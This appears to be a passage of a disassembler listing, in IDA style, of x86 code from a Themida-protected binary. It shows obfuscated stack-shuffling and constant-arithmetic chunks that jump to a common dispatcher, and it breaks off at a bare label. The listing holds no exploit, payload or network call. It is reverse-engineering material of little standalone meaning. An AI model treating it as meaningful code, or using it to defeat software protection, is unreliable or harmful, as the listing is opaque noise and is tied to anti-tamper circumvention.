		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_58BEC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58B205:				; CODE XREF: sub_593009-87F6j
		xor	edx, [esp-4+arg_0]
		jmp	loc_58F595
; ---------------------------------------------------------------------------


loc_58B20D:				; CODE XREF: sub_593009-5C5Ej
		mov	eax, 0FE9BC82Eh
		add	ecx, eax
		pop	eax
		and	eax, ecx
		push	[esp-8+arg_4]
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		add	esp, 4
		jmp	loc_594975
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_58B22E:				; CODE XREF: Themida_:005937E1j
		mov	[esp], esi
		mov	esi, 7A2675A7h
		shr	esi, 2
		jmp	loc_58C058
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58B23E:				; CODE XREF: sub_58F160-CBEj
		pop	edx
		add	ch, ah
		push	eax
		jmp	loc_58E8B1
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_58B247:				; CODE XREF: Themida_:0059211Cj
		mov	ebx, esp
		push	eax
		mov	eax, 73633A8Eh
		sub	eax, 6B4DEAAAh
		add	eax, 0F7EAB020h
		sub	ebx, 354D57B1h
		add	ebx, eax
		push	ecx
		jmp	loc_595EA0
; ---------------------------------------------------------------------------


loc_58B267:				; CODE XREF: Themida_:00596A2Cj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_58F5FD
; ---------------------------------------------------------------------------


loc_58B279:				; CODE XREF: Themida_:005976DEj
		inc	edx
		jmp	loc_591110
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_58B27F:				; CODE XREF: sub_596498-7EEFj
		xchg	ecx, esi
		push	ecx
		xchg	ecx, [esp+8+var_8]
		jmp	loc_59169A
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58B28A:				; CODE XREF: sub_58E66C+3C96j
		sub	edx, 0BDF7604h
		add	edx, ebp
		add	edx, 0BDF7604h
		jmp	loc_58FE0E
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58B29D:				; CODE XREF: sub_58F160-8A9j
		shr	ah, 7
		sub	ah, 66h
		shr	ah, 1
		push	edx
		mov	dh, 0C8h
		jmp	loc_58D6C4
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58B2AD:				; CODE XREF: sub_58E66C+4BC4j
		pop	eax
		add	esp, 4
		push	edi
		push	135B66E5h
		pop	edi
		add	eax, 52CA18F7h
		add	eax, edi
		sub	eax, 52CA18F7h
		jmp	loc_596D97
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58B2C9:				; CODE XREF: Themida_:0058AAFEj
		pop	esi
		xchg	edi, [esp]
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58B2D7:				; CODE XREF: sub_596082-AEA2j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+4+var_4]
		jmp	loc_58DD8D
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58B2EB:				; CODE XREF: sub_58F160-1A93j
		add	dh, 0CDh
		jno	loc_596006
		xor	dh, 0CDh
		dec	dh
		xor	dh, 53h
		sub	dh, 0ABh
		pop	edi
; END OF FUNCTION CHUNK	FOR sub_58F160
; START	OF FUNCTION CHUNK FOR sub_5925A4


loc_58B300:				; CODE XREF: sub_5925A4+FC7j
		xor	dh, bh
		pop	bx
		jmp	loc_59141F
; END OF FUNCTION CHUNK	FOR sub_5925A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58B309:				; CODE XREF: sub_58E66C+5DD2j
		add	edx, 2CD11A8Dh
		jl	loc_58CE29
		shl	edx, 4
		jnp	loc_58A886
		add	edx, 8A5A9AF4h
		jmp	loc_58EFFC
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58B329:				; CODE XREF: sub_593009-4534j
		or	eax, 3B75332Bh
		shr	eax, 8
		sub	eax, 35855006h
		xor	eax, 0CABA2D69h
		sub	ebx, 56F612A3h
		add	ebx, eax
		add	ebx, 56F612A3h
		pop	eax
		jmp	loc_58D4F6
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_58B34F:				; CODE XREF: sub_594F3F-7353j
		or	ebp, 5AF866B0h
		shr	ebp, 2
		and	ebp, 709B1AFEh
		not	ebp
		xor	ebp, 0BEF90BE0h
		jmp	loc_58E378
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596FD2


loc_58B36B:				; CODE XREF: sub_596FD2-20DAj
		pop	edi
		add	esi, 7EF2A34h
		add	esi, 43E545A9h
		jmp	loc_593F1F
; END OF FUNCTION CHUNK	FOR sub_596FD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58B37D:				; CODE XREF: sub_593009-6A64j
		mov	eax, [esp+0]
		add	esp, 4
		pop	ecx
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58B389:				; CODE XREF: sub_5F45E7-64065j
		add	bl, 0ECh
		sub	bl, 68h
		sub	esp, 4
		mov	[esp+38h+var_38], eax
		mov	al, 4Fh
		jmp	loc_58FB12
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BF6


loc_58B39C:				; CODE XREF: sub_596BF6+11j
		xor	ebp, 353D5537h
		jl	loc_591692
		shr	ebp, 4
		jmp	loc_594550
; END OF FUNCTION CHUNK	FOR sub_596BF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58B3B0:				; CODE XREF: sub_593009-675Aj
		pop	esp
		jmp	loc_59556E
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58B3B6:				; CODE XREF: sub_5F45E7-67342j
		push	small 2E8Fh
		mov	[esp+0], dx
		push	ax
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_58B3C6:				; CODE XREF: Themida_:00593FA3j
		neg	ebx
		jmp	loc_58CFA1
; ---------------------------------------------------------------------------


loc_58B3CD:				; CODE XREF: Themida_:005953AAj
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58B3D9:				; CODE XREF: Themida_:00592FD7j
		add	edx, ebp
		pop	ebp
		push	eax
		mov	eax, 233F06BFh
		inc	eax
		jge	loc_59324B
		not	eax
		inc	eax
		jnp	loc_58F2B2
		jmp	loc_595114
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58B3F7:				; CODE XREF: sub_591C99:loc_58C44Bj
		jmp	loc_58E34B
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_58B3FC:				; CODE XREF: Themida_:0058F9F0j
		push	ecx
		mov	ch, 0F9h
		jmp	loc_592562
; ---------------------------------------------------------------------------


loc_58B404:				; CODE XREF: Themida_:0059159Aj
		add	ecx, 624F1A69h
		add	ecx, ebp
		sub	ecx, 624F1A69h
		pop	ebp
		or	ecx, 4C5D32E9h
		push	edi
		mov	edi, 5EFF36E9h
		xor	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58C204
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_58B42C:				; CODE XREF: sub_58AE7C+B824j
		sub	edi, 55A21D3Fh
		pop	esi
		mov	esi, [esp+8+var_8]
		add	esp, 4
		xchg	edi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	dx, [esp+0]
		jmp	sub_59447B
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------


loc_58B44B:				; CODE XREF: Themida_:0058BDA8j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		push	17D6h
		mov	[esp], ecx
		jmp	loc_58D78A
; ---------------------------------------------------------------------------


loc_58B463:				; CODE XREF: Themida_:00591837j
		shr	esi, 7
		shl	esi, 2
		inc	esi
		jmp	loc_59677E
; ---------------------------------------------------------------------------


loc_58B46F:				; CODE XREF: Themida_:00596920j
		xchg	ebp, [esp]
		mov	esp, [esp]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58B47F:				; CODE XREF: Themida_:00590E5Fj
		mov	esi, esp
		push	edi
		jmp	loc_58ED53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B09E


loc_58B487:				; CODE XREF: sub_58B09E-F5j
		mov	edi, 0F8908D7h
		neg	edi
		shr	edi, 5
		xor	edi, 14BFBDECh
		xor	ebx, edi
		jmp	loc_59401B
; END OF FUNCTION CHUNK	FOR sub_58B09E
; ---------------------------------------------------------------------------


loc_58B49E:				; CODE XREF: Themida_:0059602Ej
		mov	ecx, ebp
		pop	ebp
		push	eax
		mov	eax, 3EE3406Bh
		inc	eax
		jmp	loc_592E7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A50F


loc_58B4AD:				; CODE XREF: sub_58A50F+240Bj
		add	esi, 0D4DE90B8h
		add	ebp, 47A97FECh
		add	ebp, esi
		push	ecx
		mov	ecx, 445554E4h
		xor	ecx, 3FC2B08h
		sub	ebp, ecx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		push	5969h
		mov	[esp+0], edi
		push	edx
		jmp	loc_594610
; END OF FUNCTION CHUNK	FOR sub_58A50F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58B4EB:				; CODE XREF: sub_596082-2B02j
		jmp	loc_59461A
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58B4F0:				; CODE XREF: Themida_:0059226Aj
		push	edx
		mov	edx, 743E10D1h
		jmp	loc_59000E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58B4FB:				; CODE XREF: sub_58F160-385Ej
					; Themida_:0058FFF7j
		push	small 4D43h
		mov	[esp+0], cx
		push	5B1h
		mov	[esp+2+var_4+2], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_5975B1
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_58B518:				; CODE XREF: Themida_:0058F5BEj
		add	edi, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	small 3CDh
		mov	[esp], cx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58C93E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5977F3


loc_58B54B:				; CODE XREF: sub_5977F3-C718j
		mov	ebx, 73CA2C3Ah
		sub	ebx, esi
		pop	esi
		sub	edx, 711A2B89h
		sub	edx, 67EE4DEBh
		add	edx, ebx
		add	edx, 67EE4DEBh
		add	edx, 711A2B89h
		pop	ebx
		xchg	edx, [esp+0]
		pop	esp
		or	[esp-4+arg_0], ax
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_5977F3
; ---------------------------------------------------------------------------


loc_58B57C:				; CODE XREF: Themida_:0058FDF1j
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_590E9A
; ---------------------------------------------------------------------------


loc_58B593:				; CODE XREF: Themida_:0058F97Ej
		push	esi
		mov	esi, 21A3766Ch
		inc	esi
		neg	esi
		add	esi, 32F1161Ch
		and	esi, 453B1C15h
		sub	esi, 1C371E6Bh
		sub	esi, 0E4D1FD96h
		jmp	loc_595F57
; ---------------------------------------------------------------------------


loc_58B5B9:				; CODE XREF: Themida_:00592C49j
		mov	[esp], ecx
		push	esp
		jmp	loc_59277D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5925A4


loc_58B5C2:				; CODE XREF: sub_5925A4-14AAj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		sub	eax, ebp
		pop	ebp
		jmp	loc_58F18D
; END OF FUNCTION CHUNK	FOR sub_5925A4
; ---------------------------------------------------------------------------


loc_58B5D8:				; CODE XREF: Themida_:00595C39j
		or	ecx, 945C5Eh
		shr	ecx, 8
		xor	ecx, 0ACBDFBh
		add	esi, ecx
		jmp	loc_58F08C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58B5EE:				; CODE XREF: sub_596082-54DFj
		and	ebx, 0F55255Eh
		xor	ebx, 0F5FADFBFh
		push	edi
		push	eax
		mov	eax, ebx
		mov	edi, eax
		pop	eax
		mov	esi, edi
		pop	edi
		jmp	loc_594336
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A5F7


loc_58B609:				; CODE XREF: sub_58A5F7+5DAFj
		pop	edi
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, ecx
		xor	ecx, eax
		jmp	loc_58F1E4
; END OF FUNCTION CHUNK	FOR sub_58A5F7
; ---------------------------------------------------------------------------


loc_58B618:				; CODE XREF: Themida_:loc_58B04Fj
		sub	edi, 266F0785h
		jnb	loc_58E82D
		xor	edi, 0EA2B5F7Fh
		jmp	loc_594F78
; ---------------------------------------------------------------------------


loc_58B62F:				; CODE XREF: Themida_:0058B1D7j
		push	eax
		push	ecx
		mov	ch, 77h
		mov	al, 0Eh
		jmp	loc_590E3B
; ---------------------------------------------------------------------------


loc_58B63A:				; CODE XREF: Themida_:0058A569j
		add	edx, 57557C72h
		jb	loc_58BAF7
		shr	edx, 5
		jnz	loc_5955AE
		jmp	loc_59519B
; ---------------------------------------------------------------------------
		push	esp
		mov	eax, [esp]
		mov	cl, bh
; START	OF FUNCTION CHUNK FOR sub_58D6A0


loc_58B65A:				; CODE XREF: sub_58D6A0+30F1j
		mov	[esp+8+var_8], ebp
		push	ebx
		jmp	loc_59571E
; END OF FUNCTION CHUNK	FOR sub_58D6A0
; ---------------------------------------------------------------------------


loc_58B663:				; CODE XREF: Themida_:0058FA09j
		add	esi, 0DE4C1B35h
		sub	esi, 64207FEFh
		push	ecx
		mov	ecx, 3EDB24F8h
		and	esi, ecx
		jmp	loc_594FA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58B67C:				; CODE XREF: sub_5F45E7-65C9Ej
		push	3380h
		jmp	loc_58FE60
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_58B686:				; CODE XREF: Themida_:0058C26Bj
		pop	esp
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58B68C:				; CODE XREF: Themida_:005914EAj
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58B695:				; CODE XREF: Themida_:00591370j
		jmp	loc_590725
; ---------------------------------------------------------------------------


loc_58B69A:				; CODE XREF: Themida_:0058BBFDj
		add	edi, 3CAF21DBh
		jbe	loc_58E241
		sub	edi, 6A123A7Ah
		jz	loc_5939B3
		push	edx
		mov	edx, 7FB1E819h
		sub	edi, edx
		jmp	loc_5939FD
; ---------------------------------------------------------------------------


loc_58B6BF:				; CODE XREF: Themida_:00590082j
		not	word ptr [esp]
		jmp	loc_5927BC
; ---------------------------------------------------------------------------


loc_58B6C8:				; CODE XREF: Themida_:005977B9j
		push	dword ptr [esp]
		pop	edx
		push	esi
		push	esp
		pop	esi
		push	ecx
		mov	ecx, 2EF6047Ah
		push	eax
		jmp	loc_594EA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_58B6DB:				; CODE XREF: sub_596498+198j
		not	ecx
		dec	ecx
		sub	ecx, 2EEA335Dh
		push	ebp
		mov	ebp, 4424249Eh
		dec	ebp
		dec	ebp
		sub	ebp, 95AA093Ah
		add	ecx, ebp
		pop	ebp
		mov	edi, ecx
		pop	ecx
		add	ebp, edi
		pop	edi
		push	eax
		jmp	loc_58CD49
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------


loc_58B701:				; CODE XREF: Themida_:0058BB24j
		sub	ebp, 68724B89h
		jmp	loc_596B94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E600


loc_58B70C:				; CODE XREF: sub_58E600+4E96j
		jmp	loc_58B9B7
; END OF FUNCTION CHUNK	FOR sub_58E600
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5925A4


loc_58B711:				; CODE XREF: sub_5925A4-1FBFj
		xor	edx, [esp+8+var_A+2]
		xor	[esp+8+var_A+2], edx
		jmp	loc_5910F2
; END OF FUNCTION CHUNK	FOR sub_5925A4
; ---------------------------------------------------------------------------


loc_58B71C:				; CODE XREF: Themida_:00595AEBj
		push	edx
		pop	esi
		pop	edx
		xchg	eax, esi
		inc	eax
		xchg	eax, esi
		jmp	loc_590355
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58B727:				; CODE XREF: sub_596082-1419j
		mov	al, 29h
		sub	al, 0A8h
		mov	cl, al
		pop	eax
		sub	bl, cl
		jmp	loc_59739E
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58B735:				; CODE XREF: Themida_:0058D023j
		pop	edx
		jmp	loc_58D5BD
; ---------------------------------------------------------------------------


loc_58B73B:				; CODE XREF: Themida_:00592B82j
		neg	cl
		jmp	loc_5927E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D90C


loc_58B742:				; CODE XREF: sub_58D90C+2E37j
		sub	eax, 25034F3Eh
		jmp	loc_5926A8
; END OF FUNCTION CHUNK	FOR sub_58D90C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_58B74C:				; CODE XREF: Themida_:0058D29Aj
					; sub_596498-69A4j
		pop	esi
		jmp	loc_590B01
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------


loc_58B752:				; CODE XREF: Themida_:0058BBA7j
		pop	ebp
		add	[esp+8], eax
		jmp	loc_591798
; ---------------------------------------------------------------------------


loc_58B75C:				; CODE XREF: Themida_:005962DEj
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		jmp	loc_592688
; ---------------------------------------------------------------------------


loc_58B76C:				; CODE XREF: Themida_:0058DDCBj
		xor	eax, ebx
		push	ecx
		push	ebx
		mov	ebx, 0FF4275Bh
		push	3B7E2180h
		jmp	loc_5943CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58B77F:				; CODE XREF: sub_5F45E7-6A0DDj
		shl	ch, 2
		jmp	loc_592286
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_58B787:				; CODE XREF: Themida_:0058EFA9j
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_58BDB5
; ---------------------------------------------------------------------------


loc_58B799:				; CODE XREF: Themida_:0058DD2Dj
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_592279
; ---------------------------------------------------------------------------


loc_58B7AB:				; CODE XREF: Themida_:005920B7j
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		pop	ecx
		jmp	loc_58C3D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58B7BC:				; CODE XREF: sub_596082-5D96j
		pop	eax
		push	ax
		mov	ah, 6Ch
		push	ebx
		mov	bh, 0FEh
		add	cl, bh
		pop	ebx
		add	cl, ah
		sub	cl, 0FEh
		pop	ax
		xor	cl, 93h
		sub	cl, 8Eh
		jmp	loc_592758
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58B7D9:				; CODE XREF: sub_58E66C+7708j
		push	esp
		jmp	loc_58F80C
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58B7DF:				; CODE XREF: sub_596082-B5AFj
		sub	eax, 0B9E7C523h
		dec	eax
		jmp	loc_58B116
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, esp
		push	edx
		jmp	loc_596286
; ---------------------------------------------------------------------------


loc_58B7F3:				; CODE XREF: Themida_:0058C6D8j
		pop	esi
		xor	esi, 234D21A8h
		jmp	loc_5967A2
; ---------------------------------------------------------------------------


loc_58B7FF:				; CODE XREF: Themida_:0058C63Fj
		sub	esi, eax
		pop	eax
		jmp	loc_596F5D
; ---------------------------------------------------------------------------


loc_58B807:				; CODE XREF: Themida_:00590657j
		mov	cx, [esp]
		add	esp, 2
		push	edx
		mov	dl, 16h
		dec	dl
		not	dl
		neg	dl
		and	dl, 92h
		jns	loc_594EAD
		add	dl, 0C9h
		and	dl, 7Ah
		jle	loc_596DD8
		inc	dl


loc_58B82E:				; CODE XREF: Themida_:00594DA2j
		sub	eax, 68AC424Fh
		jns	loc_596B6F
		jmp	loc_592EA2
; ---------------------------------------------------------------------------


loc_58B83E:				; CODE XREF: Themida_:0058E6A7j
		sub	ebp, 8745B3F4h
		add	esi, ebp
		pop	ebp
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		bswap	eax
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 219510E2h
		shl	eax, 8
		xor	eax, 18379F5h
		add	eax, 6B6C640Fh
		add	edx, eax
		pop	eax
		push	esi
		mov	esi, 4
		jmp	loc_595D82
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 283B5682h
		sub	eax, 27D1059h
		push	edx
		jmp	loc_593871
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		jmp	loc_58C1CF
; ---------------------------------------------------------------------------


loc_58B88F:				; CODE XREF: Themida_:0058DAC5j
		mov	edi, edx
		pop	edx
		add	ebp, edi
		push	dword ptr [esp]
		jmp	loc_58EB28
; ---------------------------------------------------------------------------


loc_58B89C:				; CODE XREF: Themida_:0058C132j
		pop	dword ptr [esp]
		pop	esp
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58B8AA:				; CODE XREF: Themida_:00595CDAj
		add	ebp, esi
		push	esi
		mov	esi, 37715A41h
		add	ebp, 53805EBEh
		add	ebp, esi
		sub	ebp, 53805EBEh
		jmp	loc_596E98
; ---------------------------------------------------------------------------


loc_58B8C5:				; CODE XREF: Themida_:00592F33j
		pop	cx
		shr	cl, 3
		push	ecx
		jmp	loc_58CA84
; ---------------------------------------------------------------------------


loc_58B8D0:				; CODE XREF: Themida_:0058DF35j
		mov	edx, 361C43C6h
		add	dword ptr [esp+4], 699E4172h
		sub	dword ptr [esp+4], 624F440Ch
		add	[esp+4], edx
		push	ecx
		mov	ecx, 624F440Ch
		add	[esp+8], ecx
		pop	ecx
		jmp	loc_593439
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58B8F9:				; CODE XREF: Themida_:0058C69Fj
					; sub_58F160:loc_591649j
		shl	bl, 6
		jp	loc_592C60
		jmp	loc_58B4FB
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
		shr	al, 7
		mov	al, 0E0h


loc_58B90C:				; CODE XREF: Themida_:0058C4D3j
		shr	bh, 4
		sub	bh, 77h
		jmp	loc_592599
; ---------------------------------------------------------------------------


loc_58B917:				; CODE XREF: Themida_:0058C0F2j
		or	ebp, 463A6B14h
		add	ebp, 0B31C1CA9h
		or	ebx, ebp
		pop	ebp
		add	ebx, 400003h
		add	eax, 5BDC48A9h
		add	eax, ebx
		jmp	loc_58CA45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58B938:				; CODE XREF: sub_593009-11F2j
		xor	edx, 5724C42Ch
		push	ecx
		mov	ecx, edx
		mov	edi, ecx
		pop	ecx
		jmp	loc_5925CC
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BC4


loc_58B949:				; CODE XREF: sub_596BC4-448Ej
		jmp	loc_59093A
; END OF FUNCTION CHUNK	FOR sub_596BC4
; ---------------------------------------------------------------------------


loc_58B94E:				; CODE XREF: Themida_:0058E3F6j
		neg	edi
		dec	edi
		neg	edi
		sub	edi, 0CDA90620h
		and	ebp, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	ebp, 1
		inc	ebp
		xor	ebp, 0E670A7Ah
		add	eax, 503111E2h
		jmp	loc_58F628
; ---------------------------------------------------------------------------


loc_58B976:				; CODE XREF: Themida_:0058D611j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		add	edx, 4
		push	esi
		mov	esi, 3980160Bh
		jmp	loc_595350
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596B50


loc_58B99E:				; CODE XREF: sub_596B50-94EFj
		add	edx, ebp
		sub	edx, 2CE63C89h
		jmp	loc_596A31
; END OF FUNCTION CHUNK	FOR sub_596B50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58B9AB:				; CODE XREF: sub_5F45E7-5FEB2j
		mov	[edx], eax
		pop	eax
		mov	edx, [esp+28h+var_28]
		add	esp, 4


loc_58B9B7:				; CODE XREF: sub_58E600:loc_58B70Cj
					; sub_5F45E7-6278Cj
		push	[esp+24h+var_24]
		pop	ebx
		push	ebx
		jmp	sub_58D90C
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_5919E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_58B9CA:				; CODE XREF: sub_596498-BCF0j
		mov	esi, 0D85AACh
		neg	esi
		sub	esi, 7DFC51B0h
		push	edx
		mov	edx, 5AA96B3Ah
		sub	esi, edx
		mov	edx, [esp+8+var_8]
		add	esp, 4
		push	ebp
		mov	ebp, 32112B03h
		jmp	loc_59742B
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594EC6


loc_58B9F3:				; CODE XREF: sub_594EC6+243j
		pop	esp
		mov	[esp-4+arg_0], esi
		push	edx
		mov	edx, 4C262F98h
		jmp	loc_596AD8
; END OF FUNCTION CHUNK	FOR sub_594EC6
; ---------------------------------------------------------------------------


loc_58BA02:				; CODE XREF: Themida_:0058DA91j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 2
		add	edi, 2F462CEBh
		add	edi, esi
		jmp	loc_596692
; ---------------------------------------------------------------------------


loc_58BA1B:				; CODE XREF: Themida_:0059341Ej
		mov	ebp, 0FFFFFFFFh
		sub	eax, ebp
		pop	ebp
		push	ecx
		push	ebp
		push	69F37F68h
		pop	ebp
		add	ebp, 23A3037Dh
		jnp	loc_59438E
		inc	ebp
		js	loc_58A7B2
		jmp	loc_595BAB
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917EE


loc_58BA4C:				; CODE XREF: sub_5917EE+2j
		push	esi
		push	57783944h
		jmp	loc_58F281
; END OF FUNCTION CHUNK	FOR sub_5917EE
; ---------------------------------------------------------------------------


loc_58BA57:				; CODE XREF: Themida_:00594A4Bj
					; Themida_:00595C5Dj
		xchg	ebx, [esp]
		jmp	loc_58D2DE
; ---------------------------------------------------------------------------


loc_58BA5F:				; CODE XREF: Themida_:0058DFA3j
		mov	[esp], eax
		mov	al, 0EEh
		sub	bl, al
		mov	eax, [esp]
		jmp	loc_58CF96
; ---------------------------------------------------------------------------


loc_58BA6E:				; CODE XREF: Themida_:005924E7j
		push	ebx
		push	53ED0865h
		pop	ebx
		xor	ebx, 4FD2C5ACh
		mov	esi, ebx
		jmp	loc_58AD6E
; ---------------------------------------------------------------------------


loc_58BA82:				; CODE XREF: Themida_:loc_58F4B2j
